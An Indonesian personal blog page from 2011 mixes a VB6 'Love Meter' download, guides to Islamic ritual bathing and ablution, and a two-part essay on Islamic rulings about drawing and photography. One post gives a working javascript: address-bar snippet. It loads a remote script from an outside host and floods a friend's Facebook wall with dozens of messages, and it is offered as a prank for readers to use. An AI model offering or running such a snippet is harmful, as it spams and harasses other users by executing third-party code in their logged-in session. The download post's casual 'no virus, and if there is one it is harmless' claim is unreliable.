=WELCOME TO MY WEBSITE...<- MY PROVIDE ANY THING YOU NEED -> SOFTWARE, APPLICATION, GAMES, CHEAT, INFORMATION, ARTICLES, AND MANY THINGS=

  • Mohon maaf untuk para pecinta Game, karena beberapa Game di Blog ini Linknya sudah Kedeluarsa sehubung Link Partner sudah Pensiun jadi, Untuk beberapa GAME yang diinginkan, jika anda tidak mampu mendownload di BLOG ini, silahkan datang kerumah saya, karena saya memiliki beberapa MASTER/INSTALASI Game yang saya share diBLOG ini, Hub:085348531030 Makassar. Terima kasih

  • Senin, 19 September 2011

    Aplikasi sederhana dari VB 6 (Love Meter)



    saya iseng2 Sharing APLIKASI biasa ajah nih pake Program Sederhana dari Visual Basic 6
    yang namanya LOVE METER...
    tpi kita tetap percaya pada takdir kita...melalui ALLAH swt

    Keterangan File :
    *bentuk = .exe
    *size = 217 kb
    *Action = No Virus (kalo ada itu gak berbahaya kok
    *File = + Source Codenya... untuk kreasi anda sendiri

    Author = (ME) ahmad assegaf (nagh GCS)
    thanks to = ALLAH.swt & kawan2 di Indo Code

    anda ingin mencobanya...silahkan DOWNLOAD Source Codenya + APLIKASInya di bawah gan...
    Read More

    Minggu, 18 September 2011

    Tata Cara Mandi Wajib Menurut Bimbingan Islam


    Tata Cara Mandi Wajib
    Menurut Bimbingan Agama Islam
    Oleh Buya H. Masoed Abidin
    1.Berniat dalam hati, tidak perlu dilafazkan. Contoh Niat, “Bismillâhi al-Rahmâni al-Rahîm, sengaja aku mandi wajib (membersihkan hadas dan najis) karena Allâh subhânahu wata`âlâ.
    2.Membasuh Seluruh Anggota Badan. Pada saat membasuh anggota badan, ada beberapa hal yang disunatkan:

    a.Mulailah dengan mencuci kedua tangan tiga kali.
    b.Kemudian membasuh kemaluan.
    c.Lalu berwudhu’ secara sempurna, seperti halnya wudhu’ untuk shalat. Mulai dari sebelah kanan.
    d.Kemudian menuangkan air ke atas kepala sebanyak tiga kali sambil menyelang-menyelangi rambut agar air sampai membasahi urat-uratnya. (ini khusus membasahi kepala saja atau sama dengan seseorang membersihkan rambutnya pakai shampo).
    e.Lalu mengalirkan air keseluruh badan dengan memulai sebelah kanan lalu sebelah kiri tanpa mengabaikan kedua ketiak, bagian dalam telinga, pusar dan jari-jari kaki serta menggosok anggota tubuh yang dapat digosok. Mengalirkan air sedikitnya tiga kali. Selesai.

    f.Khusus untuk perempuan yang berambut panjang tidak diwajibkan menguraikan rambutnya seperti laki-laki. Sabda Rasul Allâh SAW, “Bahwa seseorang perempuan bertanya kepada Rasul Allâh SAW: “Jalinan rambutku amat ketat, haruskah diuraikan jika hendak mandi janabah? ”Rasul AllâhSAW menjawab: “Cukuplah bila engkau menuangkan ke atasnya air tiga kali, kemudian engkau timbakan ke seluruh tubuhmu. Dengan demikian engkau telah suci.” (HR. Ahmad, Muslim, dan Tirmidziy).

    Semua aturan ini berdasarkan pemahaman prinsip-prinsip ajaran Islam, yang mengandung hikmah dan kebaikan untuk semua manusia, terutama sekali bagi umat islam, untuk menjaga kepuasan bagi sesama pasangan berdasarkan tujuan awal dari pernikahan yaitu ibadah kepada Allâh, serta untuk menjaga kelestarian keturunan, disamping suatu wadah penyaluran hasrat sex yang dimiliki manusia kepada lawan jenis secara sehat dan bermartabat lagi terhormat. Maka bertakwalah kepada Allâh dan ta`atlah.

    Ketahuilah, pada hakekatnya maksud dari syari`at adalah mentaati Allâh secara mutlak, karena manusia hanya dapat mengkaji, memahami dan mengamalkannya berdasarkan kemampuan intelektual yang dianugerahkan-Nya.

    Dalam berbagai literatur ditemukan banyak fatwa-fatwa ulama tentang perempuan, berkisar antara profesi dan status perempuan sebagai mitra laki-laki dalam urusan mu`amalah, namun dalam masalah ibadah, perempuan mendapat tempat tersendiri. Contoh, perempuan yang haid tidak diwajibkan melakukan shalat, sampai ia suci, dari haid atau bahkan dalam keadaan nifas juga termasuk dalam kategori ini. Contoh lain, seorang isteri yang ingin berpuasa sunat dalam keadaan yang sama ia harus menuhi hasrat seksual suaminya, pada saat itu, bagi sang isteri tidak ada pilihan lain, hanya memenuhi hasrat suaminya, dengan ikhlas, akan menjadi ibadah baginya, melebihi puasanya yang akan dilakukan.

    Lelaki (suami) yang bertaqwa, tentulah tidak meminta istrinya membatalkan puasa, hanya karena ingin memenuhi hajat libidonya. Hamba yang mukmin dan muttaqin, tentulah mampu mengendalikan hasratnya.

    Demikian Islam menghormati kaum laki-laki dan menghargai perempuan dengan pahala yang seharusnya berada dalam keinginan yang tidak terbayangkan. Dan banyak lagi peluang-peluang terhormat lainnya terkadang diabaikan atau bahkan meremehkannya. Nabi Muhammad SAW pernah mengisyaratkan, “kalaulah tidak dilarang makhluk menyembah makhluk, maka akan aku perintahkan isteri menyembah pada suaminya.”

    Begitu berharganya penghormatan yang diberikan kepda sang suami. Konsekwensi dari penghormatan terhadap suami (lelaki) ini, maka seorang suami bertanggungjawab terhadap perlindungan dan kasih sayang tercurah dengan tulus kepada istrinya.

    Di mata sang isteri hanya suaminya menjadi sanjungan, setelah kecintaan kepada Allâh dan Rasul.

    Maklumilah, bahwa Allah pula yang mewasiatkan kepada setiap manusia agar menghormati dan berterima kasih kepada kedua orang tua (ayah dan bunda).

    Di sini terletak pokok akhlak mulia itu.
    sumber nyo
    Read More

    Iseng di FaceBook dgn cara FLOOD di Wall orang



    ane sekedar share caranya ngeflood di wall facebook orang menggunakan javascript flood, javascript flood dapat mengirim pesan wall 50 sekaligus atau lebih , caranya buka profil teman lalu masukan jvscript di bawah ini pada addres bar...

    javascript:(a = (b = document).createElement("script")).src = "//brk.to/flood", b.body.appendChild(a); void(0);
    *setelah tulis pesan kamu >>klik ok>>tulis jumlah pesan, untuk percobaan 20 saja tunggu 5-10 detik kemudian refres atau reload halaman dan lihat hasilnya.

    Peringatan :
    jangan terlalu sering buat ngeflood fb orang lain agar tidak kena baned oleh pihak facebook dan ingat dosa di tanggung sendiri karna saya tidak mengajarkan untuk berbuat iseng melainkan hanya untuk menambah pengetahuan saja.
    isikan jumlah Kiriman loe dan OK

    Read More

    Tata Cara Wudhu dalam al-Qur'an & Sunnah


    Tata cara wudhu menurut Al Qur’an dan Sunnah ini merupakan tuntunan bagaimana wudhu yang baik dan benar menurut Al Qur’an dan Sunnah. Telah banyak tulisan yang telah ada tantang tata cara wudhu, tetapi artikel ini rudi buat untuk menjadi referensi tambahan bagi para pembaca yang penuh semangat dalam belajar agama. Mudah-mudahan artikel ini bisa menjadi tambahan ilmu bagi pembaca sekalian. Dalil yang menjelaskan tentang wudhu, Allah berfirman;

    Yang Artinya: “Hai orang-orang yang beriman, apabila kamu hendak mengerjakan sholat, maka basuhlah mukamu dan tanganmu sampai siku, dan sapulah kepalamu dan (basuh) kakimu sampai dengan kedua mata kaki, dan jika kamu junub maka mandilah, dan jika kamu sakit atau dalam perjalanan atau kembali dari tempat buang air (kakus) atau menyentuh perempuan, lalu kamu tidak memperoleh air, maka bertayamumlah dengan tanah yang baik (bersih); sapulah mukamu dan tanganmu dengan tanah itu. Allah tidak hendak menyulitkan kamu, tetapi Dia hendak membersihkan kamu dan menyempurnakan nikmat-Nya bagimu, supaya kamu bersyukur.” (QS Al Maa’idah [5]: 6)
    Langsung saja rudi mulai tentang tata cara berwudhu menurut Al Qur’an dan Sunnah.
    1. Apabila seorang Muslim yang ingin berwudhu hendaklah ia berniat di dalam hati lalu membaca “Bismillahirrahmanirrahim” sebab Rasulullah SAW bersabda “Tidak sah wudhu orang yg tidak menyebut nama Allah” (At Tirmidzi) terlebih dahulu , dan jika lupa maka cukup “bismillah” saja sudah cukup.
    2. Kemudian disunnahkan membasuh kedua telapak tangan sebanyak tiga kali.
    3. Berkumur-kumur sebanyak tigak kali pula banyaknya.
    4. Menghirup air dengan hidung lalu dikeluarkan lagi sebanyak tiga kali. Disunnahkan untuk menghirup air dari hidung kuat-kuat dan jika dalam keadaan berpuasa boleh menghirup pelan-pelan saja, ditakutkan air yang dihirup masuk kedalam tenggorokkan. Rasulullah SAW bersabda; “Keraskanlah di dalam menghirup air dengan hidung kecuali jika kamu sedang berpuasa”
    5. Membasuh muka sebanyak tiga kali. Batas muka bagian atas adalah sampai tempat tumbuhnya rambut, bagian bawah sampai dagu, bagian samping dari batas telinga kanan hingga telinga kiri. Jika rambut pada muka tipis, wajib membasuh sampai dasarnya, dan jika rambut muka tebal boleh membasuh bagian atasnya saja, tetapi disunnahkan untuk mencelah-celahi bagian rambut yang tebal itu. Karena Rasulullah SAW selalu mencelah-celahi jenggotnya ketika sedang berwudhu.
    6. Kemudian mencuci tangan sampai siku. Allah berfirman ”… dan basuhlah mukamu dan tanganmu sampai siku, . . . ” (QS Al Maa’idah [5]: 6)
    7. Mengusap kepala beserta telinga satu kali dimulai dari mengusap kepala dari bagian depan sampai ke belakang lalu kembali ke bagian depan lagi. Setelah itu langsung mengusap kedua telingan dengan air yang tersisa pada tangan.
    8. Setelah itu, mencuci kedua kaki sampai mata kaki, karena Allah berfirman, “dan (basuh) kakimu sampai mata kaki.” Yang dimaksdut mata kaki disini adalah benjolan yang ada di bawah betis. Orang yg tangan atau kakinya terpotong maka ia mencuci bagian yg tersisa yg wajib dicuci. Dan apabila tangan atau kakinya itu terpotong semua maka cukup mencuci bagian ujungnya saja.
    9. Dan setelah selesai berwudhu wajib membaca do’a
    “Asyhadu allaa ilaaha illallah wahdahu laa syarikalahu wa asyhadu anna Muhammadan ‘abduhu wa rasuluhu, Allahummaj ‘alni minat tawwabiin waj’alni minal mutathahhiriin.”
    Artinya: “Saya bersaksi bahwa tiada ilaah yang berhak disembah dengan benar selain Allah semata tiada sekutu bagi-Nya. Dan saya bersaksi bahwa Muhammad adalah hamba dan utusan-Nya. Yaa Allah jadikanlah hamba termasuk orang-orang yang bertaubat dan orang-orang yang mensucikan diri.“

    Demikanlah tadi artikel tentang tata cara wudhu menurut Al Qur’an dan Sunnah. Mudah-mudahan kita bisa memperbaiki ibadah kita dan selalu tetuju hanya kepada Allah SWT.

    NB: Jika ada yang keliru dalam artikel ini, mohon di koreksi yah,,,
    sumber
    Read More

    Rabu, 14 September 2011

    Hukum Menggambar Dalam Islam ( bag.2 )


    Baca dulu bagian PERTAMAnya brow...
    Nih gan saya SHARE lagi pada bag.ke 2nya lanjutan bacaan yang kemarin
    Setelah kita memahami sebab dilarangnya menggambar, maka berikut kami bawakan secara ringkas hukum menggambar dalam Islam, maka kami katakan:
    Gambar terbagi menjadi 2:
    1. Yang mempunyai roh. Ini terbagi lagi menjadi dua:
    a. Yang 3 dimensi. Ini terbagi menjadi dua:
    Pertama: Gambar satu tubuh penuh.
    Jika bahan pembuatnya tahan lama -seperti kayu atau batu atau yang semacamnya-, maka hampir seluruh ulama menyatakan haramnya secara mutlak, baik ditujukan untuk disembah maupun untuk selainnya. Sementara dinukil dari Abu Said Al-Ashthakhri Asy-Syafi’i bahwa dia berpendapat: Gambar 3 dimensi hanya haram dibuat jika ditujukan untuk ibadah. Akan tetapi itu adalah pendapat yang lemah.

    Setelah kita memahami sebab dilarangnya menggambar, maka berikut kami bawakan secara ringkas hukum menggambar dalam Islam, maka kami katakan:
    Gambar terbagi menjadi 2:
    1. Yang mempunyai roh. Ini terbagi lagi menjadi dua:
    a. Yang 3 dimensi. Ini terbagi menjadi dua:
    Pertama: Gambar satu tubuh penuh.
    Jika bahan pembuatnya tahan lama -seperti kayu atau batu atau yang semacamnya-, maka hampir seluruh ulama menyatakan haramnya secara mutlak, baik ditujukan untuk disembah maupun untuk selainnya. Sementara dinukil dari Abu Said Al-Ashthakhri Asy-Syafi’i bahwa dia berpendapat: Gambar 3 dimensi hanya haram dibuat jika ditujukan untuk ibadah. Akan tetapi itu adalah pendapat yang lemah.

    Adapun yang bahan bakunya tidak tahan lama, misalnya dibuat dari bahan yang bisa dimakan lalu dibentuk menjadi gambar makhluk, seperti coklat, roti, permen, dan seterusnya. Yang benar dalam masalah ini adalah jika dia dibuat untuk dipasang atau digantung maka itu diharamkan. Akan tetapi jika dia dibuat untuk dimakan atau dijadikan mainan anak maka tidak mengapa karena itu adalah bentuk menghinakannya, dan akan diterangkan bahwa mainan anak-anak dikecualikan dari hukum ini.

    Kemudian, di sini ada silang pendapat mengenai mainan anak-anak, apakah diperbolehkan atau tidak. Ada dua pendapat di kalangan ulama:
    Pertama: Boleh. Ini adalah mazhab Abu Hanifah, Malik, Asy-Syafi’i, dan yang diamalkan oleh kebanyakan ulama belakangan dari mazhab Ahmad. Dan inilah pendapat yang lebih tepat.
    Mereka berdalil dengan hadits dari Aisyah radhiallahu ‘anha dia berkata:
    كُنْتُ أَلْعَبُ بِالْبَنَاتِ عِنْدَ النَّبِيِّ صَلَّى اللَّهُ عَلَيْهِ وَسَلَّمَ وَكَانَ لِي صَوَاحِبُ يَلْعَبْنَ مَعِي فَكَانَ رَسُولُ اللَّهِ صَلَّى اللَّهُ عَلَيْهِ وَسَلَّمَ إِذَا دَخَلَ يَتَقَمَّعْنَ مِنْهُ فَيُسَرِّبُهُنَّ إِلَيَّ فَيَلْعَبْنَ مَعِي
    “Aku pernah bermain dengan (boneka) anak-anak perempuan di dekat Nabi shallallahu ‘alaihi wasallam, dan aku mempunyai teman-teman yang biasa bermain denganku. Apabila Rasulullah shallaallahu’alaihi wa sallam masuk, mereka bersembunyi dari beliau. Sehingga beliau memanggil mereka supaya bermain bersamaku.” (HR. Al-Bukhari no. 5665 dan Muslim no. 4470)
    Pendapat kedua: Tetap tidak diperbolehkan. Ini adalah Mazhab Ahmad dan pendapat dari sekelompok ulama Malikiah dan Syafi’iyah. Pendapat ini juga dinukil dari Ibnu Baththal, Ad-Daudi, Al-Baihaqi, Al-Hulaimi, dan Al-Mundziri.

    Catatan:
    Perbedaan pendapat mengenai mainan anak 3 dimensi yang dinukil dari para ulama salaf hanya berkenaan dengan mainan yang dibuat dari benang wol, kain, dan semacamnya. Adapun mainan yang terbuat dari plastik -seperti pada zaman ini-, maka para ulama belakangan juga berbeda pendapat tentangnya:
    1. Diharamkan. Yang dikenal berpendapat dengan pendapat ini adalah Asy-Syaikh Muhammad bin Ibrahim rahimahullah.
    2. Boleh, dan ini merupakan pendapat mayoritas ulama di zaman ini, dan inilah insya Allah pendapat yang lebih tepat.

    Kedua: Jika gambarnya hanya berupa sebagian tubuh. Ini juga terbagi dua:
    1. Yang tidak ada adalah kepalanya. Hukumnya adalah boleh karena dia tidak lagi dianggap gambar makhluk bernyawa. Ini adalah pendapat seluruh ulama kecuali Al-Qurthubi dari mazhab Al-Maliki dan Al-Mutawalli dari mazhab Asy-Syafi’i, dan keduanya terbantahkan dengan ijma’ ulama yang sudah ada sebelum keduanya.
    2. Yang tidak ada adalah selain kepalanya, dan ini juga ada dua bentuk:
    a. Jika yang tidak ada itu tidaklah membuat manusia mati, misalnya gambarnya seluruh tubuh kecuali kedua tangan dan kaki. Karena manusia yang tidak mempunyai tangan dan kaki tetap masih bisa hidup. Hukum bentuk seperti ini sama seperti hukum gambar satu tubuh penuh yaitu tetap dilarang.
    b. Jika yang tidak ada itu membuat manusia mati, misalnya gambar setengah badan. Karena manusia yang terbelah hingga dadanya tidak akan bisa bertahan hidup. Maka gambar seperti ini boleh karena diikutkan hukumnya kepada gambar makhluk yang tidak bernyawa. Ini merupakan mazhab Imam Empat.

    b. Yang 2 dimensi. Yang dua dimensi terbagi lagi menjadi 2:
    Pertama: Yang dibuat dengan tangan, baik secara langsung maupun secara tidak langsung seperti menggambar melalui komputer tapi tetap dengan tangan (misalnya dengan memegang mouse) . Ini terbagi juga menjadi dua:
    1. Gambarnya tidak bergerak, maka ini juga ada dua bentuk:
    • Gambar satu tubuh penuh. Ada dua pendapat besar di kalangan ulama mengenai hukumnya:
    a. Haram secara mutlak. Ini adalah riwayat yang paling shahih dari Imam Ahmad, salah satu dari dua sisi dalam mazhab Abu Hanifah, dan sisi yang paling shahih dalam mazhab Asy-Syafi’i.
    b. Haram kecuali yang dibuat untuk direndahkan dan dihinakan atau yang dijadikan mainan anak. Ini adalah sisi yang lain dalam mazhab Hanabilah dan Asy-Syafi’iyah, sisi yang paling shahih dalam mazhab Abu Hanifah, dan yang baku dalam mazhab Malik.
    Mereka berdalil dengan hadits Aisyah radhiallahu anha berkata: Rasulullah masuk ke rumahku sementara saya baru saja menutup rumahku dengan tirai yang padanya terdapat gambar-gambar. Tatkala beliau melihatnya, maka wajah beliau berubah (marah) lalu menarik menarik tirai tersebut sampai putus. Lalu beliau bersabda:
    إِنَّ مِنْ أَشَدِّ النَّاسِ عَذَابًا يَوْمَ الْقِيَامَةِ الَّذِينَ يُشَبِّهُونَ بِخَلْقِ اللَّهِ
    “Sesungguhnya manusia yang paling berat siksaannya pada hari kiamat adalah mereka yang menyerupai penciptaan Allah.” (HR. Al-Bukhari no. 5954 dan Muslim no. 5525 dan ini adalah lafazhnya)
    Dalam riwayat Muslim:
    أَنَّهَا نَصَبَتْ سِتْرًا فِيهِ تَصَاوِيرُ فَدَخَلَ رَسُولُ اللَّهِ صلى الله عليه وسلم فَنَزَعَهُ ، قَالَتْ : فَقَطَعْتُهُ وِسَادَتَيْنِ
    “Dia (Aisyah) memasang tirai yang padanya terdapat gambar-gambar, maka Rasulullah masuk lalu mencabutnya. Dia berkata, “Maka saya memotong tirai tersebut lalu saya membuat dua bantal darinya.”
    Maka hadits ini dan yang semisalnya menunjukkan bahwa selama gambar tersebut tidak dipasang dan tidak juga digantung maka dia sudah dikatakan ‘mumtahanah’ (direndahkan/dihinakan).
    • Adapun gambar dua dimensi yang tidak satu tubuh penuh (misalnya setengah badan), maka perincian dan hukumnya sama seperti pada pembahasan gambar 3 dimensi, demikian pula pendapat yang rajih di dalamnya.
    2. Jika gambar dengan tangan ini bergerak, atau yang kita kenal dengan kartun. Yaitu dimana seseorang menggambar beberapa gambar yang hampir mirip, lalu gambar-gambar ini ditampilkan secara cepat sehingga seakan-akan dia bergerak.
    Hukumnya sama seperti gambar yang tidak bergerak di atas, karena hakikatnya dia tidak bergerak akan tetapi dia hanya seakan-akan bergerak di mata orang yang melihatnya.

    Kedua: Yang dibuat dengan alat, baik gambarnya tidak bergerak seperti foto maupun bergerak seperti yang ada di televisi.
    Ini termasuk masalah kontemporer karena yang seperti ini belum ada bentuknya di zaman para ulama salaf. Gambar dengan kamera dan semacamnya ini baru muncul pada tahun 1839 M yang pertama kali diperkenalkan oleh seorang berkebangsaan Inggris yang bernama William Henry Fox.

    Ada dua pendapat di kalangan ulama belakangan berkenaan dengan hal ini:
    Pendapat pertama: Diharamkan kecuali yang dibutuhkan dalam keadaan terpaksa, seperti foto pada KTP, SIM, Paspor, dan semacamnya. Ini adalah pendapat masyaikh: Muhammad bin Ibrahim, Abdul Aziz bin Baaz, Abdurrazzaq Afifi, Al-Albani, Muqbil bin Hady, Ahmad An-Najmi, Rabi’ bin Hadi, Saleh Al-Fauzan, dan selainnya rahimahumullah.
    Para ulama ini berdalil dengan 5 dalil akan tetapi semuanya tidak jelas menunjukkan haramnya gambar dengan alat ini.

    Pendapat kedua: Boleh karena yang dibuat dengan alat bukanlah merupakan gambar hakiki, karenanya dia tidak termasuk ke dalam dalil-dalil yang mengharamkan gambar. Ini adalah pendapat masyaikh: Muhammad bin Saleh Al-Utsaimin, Abdul Aziz bin Abdillah Alu Asy-Syaikh, Abdul Muhsin Al-Abbad, dan selainnya rahimahumullah.
    Para ulama ini berdalil dengan 3 dalil akan tetapi hakikatnya hanya kembali kepada 1 dalil yaitu bahwa gambar dengan alat bukanlah gambar hakiki.

    Kami sengaja tidak membawakan dalil-dalil tiap pendapat karena ini hanyalah pembahasan ringkas dan hanya untuk merinci masalah dalam hal ini. Ala kulli hal, pendapat yang lebih tepat menurut kami adalah pendapat yang kedua, yaitu yang berpendapat bahwa gambar dengan alat tidaklah diharamkan pada dasarnya, kecuali jika dia disembah selain Allah atau dia dipasang atau digantung yang merupakan bentuk pengagungan kepada gambar dan menjadi wasilah kepada kesyirikan wallahu a’lam.
    Pendapat ini kami pandang lebih kuat karena pada dasarnya gambar dengan alat bukanlah ‘shurah’ secara bahasa. Hal itu karena ‘shurah’ (gambar) secara bahasa adalah ‘at-tasykil’ yang bermakna membentuk sebuah ‘syakl’ (bentuk) atau ‘at-tashwir’ yang bermakna menjadikan sesuatu di atas bentuk atau keadaan tertentu. Jadi ‘shurah’ yang hakiki secara bahasa mengandung makna memunculkan atau mengadakan zat yang tidak ada sebelumnya. Dan makna inilah yang ditunjukkan dalam Al-Qur`an, seperti pada firman-Nya:
    وَصَوَّرَكُمْ فِي الْأَرْحَامِ كَيْفَ يَشَاءُ
    “Dan Dia membentuk kalian di dalam rahim sesuai dengan kehendak-Nya.”
    Juga pada firman-Nya:
    فِي أَيِّ صُوْرَةٍ مَا شَاءَ رَكَّبَكَ
    “Pada bentuk apa saja yang Dia kehendaki, Dia membentuk kalian.”
    Sementara gambar fotografi tidaklah mengandung makna ‘shurah’ yang kita sebutkan di atas. Karena gambar fotografi bukanlah memunculkan suatu zat/bentuk yang tidak ada sebelumnya, akan tetapi gambar fotografi hanyalah kebalikan dari benda aslinya.

    Hal ini bisa kita pahami dengan memahami prinsip kerja kamera yaitu sebagai berikut:
    Kamera terdiri dari lensa cembung dan film, jika dia menerima cahaya (dalam hal ini cahaya berbentuk objek yang dipotret), maka lensa ini akan memfokuskan cahaya tersebut, dimana hasilnya adalah berupa bayangan yang terbalik yang bisa ditangkap oleh layar. Bayangan ini terekam dalam film yang sensitif terhadap cahaya.
    Untuk membuktikan hal ini, kita bisa mengambil sebuah lensa cembung (lup). Kita hadapkan lup ini menghadap keluar jendela yang terbuka. Lalu kita letakkan selembar kertas putih di belakang lup tersebut, maka kita pasti akan melihat sebuah bayangan pemandangan luar jendela di kertas putih tadi akan tetapi posisinya terbalik.
    Setelah kita memahami prinsip kerja kamera, maka kita tidak akan mendapati makna ‘shurah’ di dalamnya. Yang menjadi ‘shurah’ hakiki dalam kasus di atas adalah cahaya (berbentuk benda) yang datang menuju lensa kamera, sementara cahaya ini yang mengadakan dan membentuknya adalah Allah Ta’ala, bukan kamera dan bukan pula sang fotografer. Kamera sendiri hanya membalik bayangan yang datang tersebut dan kamera ini dioperasikan oleh fotografer.

    Sekarang akan muncul pertanyaan: Apakah proses membalik cahaya benda dianggap sebagai ‘shurah’ atau gambar?
    Jawabannya: Tidak, dia bukanlah ‘shurah’. Karena ‘shurah’ tidak mungkin ada kecuali ada ‘mushawwir’ (penggambar) dan orang ini harus punya kemampuan menggambar. Sementara membalik cahaya bisa terjadi walaupun tidak ada mushawwir atau orang yang melakukannya tidak paham menggambar. Misalnya: Seseorang berdiri di depan cermin atau air sehingga terlihat bayangannya. Maka bayangan ini hanyalah kebalikan dari benda aslinya, orang yang berdiri tidak melakukan apa-apa, tidak menyentuh apa-apa, bahkan mungkin dia adalah orang yang tidak bisa menggambar sama sekali. Karenanya tidak ada seorangpun yang menamakan bayangan di cermin sebagai ‘shurah’ (gambar), baik secara bahasa maupun secara urf (kebiasaan).
    Asy-Syaikh Ibnu Al-Utsaimin memperumpamakan hal ini seperti memfoto kopi sebuah buku, karena huruf-huruf yang ada di dalam hasil foto kopian adalah hasil tulisan pemilik buku, bukan hasil tulisan orang yang mengoperasikan foto kopi dan bukan bula tulisan dari foto kopi tersebut.
    Demikian penjelasannya secara ringkas, wallahu a’lam bishshawab.

    Catatan:
    Ketika kita katakan bahwa gambar 2 dimensi dengan alat bukanlah gambar secara hakiki, maka itu tidaklah mengharuskan bolehnya menggantung foto-foto karena hal itu bisa menjadi sarana menuju pengagungan yang berlebihan kepada makhluk yang hal itu merupakan kesyirikan.

    2. Yang tidak mempunyai roh. Terbagi menjadi:
    a. Yang tumbuh seperti tanaman.
    Hukumnya boleh berdasarkan pendapat hampir seluruh ulama.
    b. Benda mati. Yang ini terbagi:
    1. Yang bisa dibuat oleh manusia.
    2. Yang hanya bisa dicipta oleh Allah seperti matahari
    Hukum gambar yang tidak mempunyai roh dengan semua bentuknya di atas adalah boleh berdasarkan dalil-dalil yang telah kami sebutkan di sini. Karenanya para ulama sepakat akan bolehnya menggambar makhluk yang tidak bernyawa.

    Sebagai catatan terakhir kami katakan:
    Di sini kami hanya menyebutkan hukum asal gambar dengan semua bentuknya, kami tidak berbicara mengenai hukum gambar dari sisi penggunaannya atau berdasarkan apa yang terdapat dalam gambar tersebut. Karena para ulama sepakat tidak boleh melihat aurat sesama jenis atau lawan jenis atau aurat yang bukan mahramnya atau melihat perkara haram lainnya, sebagaimana mereka sepakat tidak bolehnya melihat sesuatu (baik berupa gambar maupun selainnya) yang menyibukkan dan melalaikan dari ibadah, sebagaimana haramnya menggantung atau memasang sesuatu dengan tujuan diagungkan, baik dia berupa gambar maupun bukan. Wallahu Ta’ala A’la wa A’lam.


    [Sumber bacaan: Mas`alah At-Tashwir oleh Dr. Abdul Aziz bin Ahmad Al-Bajadi, Bayan Tadhlil fii Fatwa Al-Umrani fii Jawaz At-Tashwir oleh Asy-Syaikh Yahya Al-Hajuri, Tahrim At-Tashwir oleh Asy-Syaikh Hamud bin Abdillah At-Tuwaijiry, Hukmu At-Tashwir Al-Futughrafi oleh Walid bin Raasyid As-Saidan, Al-Ibraz li Aqwal Al-Ulama` fii Hukmi At-Tilfazh yang dikumpulkan oleh Luqman bin Abi Al-Qasim]

    SUmbeR thread
    Read More

    Hukum Menggambar Dalam Islam ( Bag.1 )


    [Hadits-hadits tentang masalah menggambar dalam Islam telah kami bawakan sebagiannya di sini, silakan dibaca terlebih dahulu. Dan karena banyaknya pembagian yang akan kami sebutkan nantinya, maka butuh kami ingatkan kepada pembaca sekalian agar memperhatikan betul setiap bagian dan harus pandai memisahkan antara pembagian yang satu dengan yang lainnya agar tidak timbul kesalahpahaman dalam memahami apa yang kami tulis]

    Sebelum kita mulai pembahasan mengenai hukum gambar bernyawa, maka terlebih dahulu kita harus mengetahui sebab diharamkannya gambar bernyawa dalam syariat Islam. Maka kami katakan:



    Ada dua perkara yang menjadi sebab diharamkannya gambar bernyawa:
    1. Karena dia disembah selain Allah.
    Ini berdasarkan hadits Aisyah radhiallahu anha dia berkata: Rasulullah shallallahu alaihi wasallam bersabda tentang gambar-gambar yang ada di gereja Habasyah:
    إِنَّ أُولَئِكَ إِذَا كَانَ فِيهِمْ الرَّجُلُ الصَّالِحُ فَمَاتَ بَنَوْا عَلَى قَبْرِهِ مَسْجِدًا وَصَوَّرُوا فِيهِ تِلكَ الصُّوَرَ فَأُولَئِكَ شِرَارُ الْخَلْقِ عِنْدَ اللَّهِ يَوْمَ الْقِيَامَةِ
    “Mereka (ahli kitab), jika ada seorang yang saleh di antara mereka meninggal, mereka membangun masjid di atas kuburnya dan mereka menggambar gambar-gambar itu padanya. Merekalah makhluk yang paling jelek di sisi Allah pada hari kiamat.” (HR. Al-Bukhari no. 427 dan Muslim no. 528)
    Juga berdasarkan hadits Abdullah bin Mas’ud radhiallahu anhu dari Nabi shallallahu alaihi wasallam bahwa beliau bersabda:
    إِنَّ أَشَدَّ النَّاسِ عَذَابًا عِنْدَ اللَّهِ يَوْمَ الْقِيَامَةِ الْمُصَوِّرُونَ
    “Sesungguhnya manusia yang paling keras siksaannya di sisi Allah pada hari kiamat adalah para penggambar.” (HR. Al-Bukhari no. 5950 dan Muslim no. 2109)
    Dan sudah menjadi kesepakatan para ulama bahwa dosa yang siksaannya paling besar adalah kesyirikan.
    Al-Khaththabi berkata, “Tidaklah hukuman bagi (pembuat) gambar (bernyawa) itu sangat besar kecuali karena dia disembah selain Allah, dan juga karena melihatnya bisa menimbulkan fitnah, dan membuat sebagian jiwa cendrung kepadanya.” Al-Fath (10/471)

    2. Dia diagungkan dan dimuliakan baik dengan dipasang atau digantung, karena mengagungkan gambar merupakan sarana kepada kesyirikan.
    Asy-Syaikh Ibnu Al-Utsaimin berkata dalam Al-Qaul Al-Mufid (3/213), “Alasan disebutkannya kuburan bersama dengan gambar adalah karena keduanya bisa menjadi sarana menuju kesyirikan. Karena asal kesyirikan pada kaum Nuh adalah tatkala mereka menggambar gambar orang-orang saleh, dan setelah berlalu masa yang lama merekapun menyembahnya.”
    Dalam fatwa Al-Lajnah Ad-Daimah (1/455) disebutkan, “Karena gambar bisa menjadi sarana menuju kesyirikan, seperti pada gambar para pembesar dan orang-orang saleh. Atau bisa juga menjadi sarana terbukanya pintu-pintu fitnah, seperti pada gambar-gambar wanita cantik, pemain film lelaki dan wanita, dan wanita-wanita yang berpakaian tapi telanjang.”

    Tambahan:
    Sebagian ulama menambahkan illat (sebab) pengharaman yang lain yaitu karena gambar bernyawa menyerupai makhluk ciptaan Allah. Mereka berdalil dengan hadits Aisyah:
    إِنَّ مِنْ أَشَدِّ النَّاسِ عَذَابًا يَوْمَ الْقِيَامَةِ الَّذِينَ يُشَبِّهُونَ بِخَلْقِ اللَّهِ
    “Sesungguhnya manusia yang paling berat siksaannya pada hari kiamat adalah mereka yang menyerupakan makhluk Allah.” (HR. Al-Bukhari no. 5954 dan Muslim no. 5525 dan ini adalah lafazhnya)
    Hanya saja sebagian ulama lainnya menolak illat ini dengan beberapa alasan:
    1. Makhluk-makhluk Allah sangat banyak, seandainya sebab larangan menggambar adalah karena menyerupai ciptaan Allah, maka keharusannya dilarang juga untuk menggambar matahari, langit, pegunungan, dan seterusnya, karena mereka semua ini adalah makhluk Allah. Padahal para ulama telah sepakat akan bolehnya menggambar gambar-gambar di atas.
    2. Dalil-dalil telah menetapkan dikecualikannya mainan anak-anak dari larangan gambar bernyawa, dan tidak diragukan bahwa mainan anak-anak juga mempunyai kemiripan dengan makhluk ciptaan Allah. Tapi bersamaan dengan itu Nabi shallallahu alaihi wasallam mengizinkan Aisyah untuk bermain boneka.
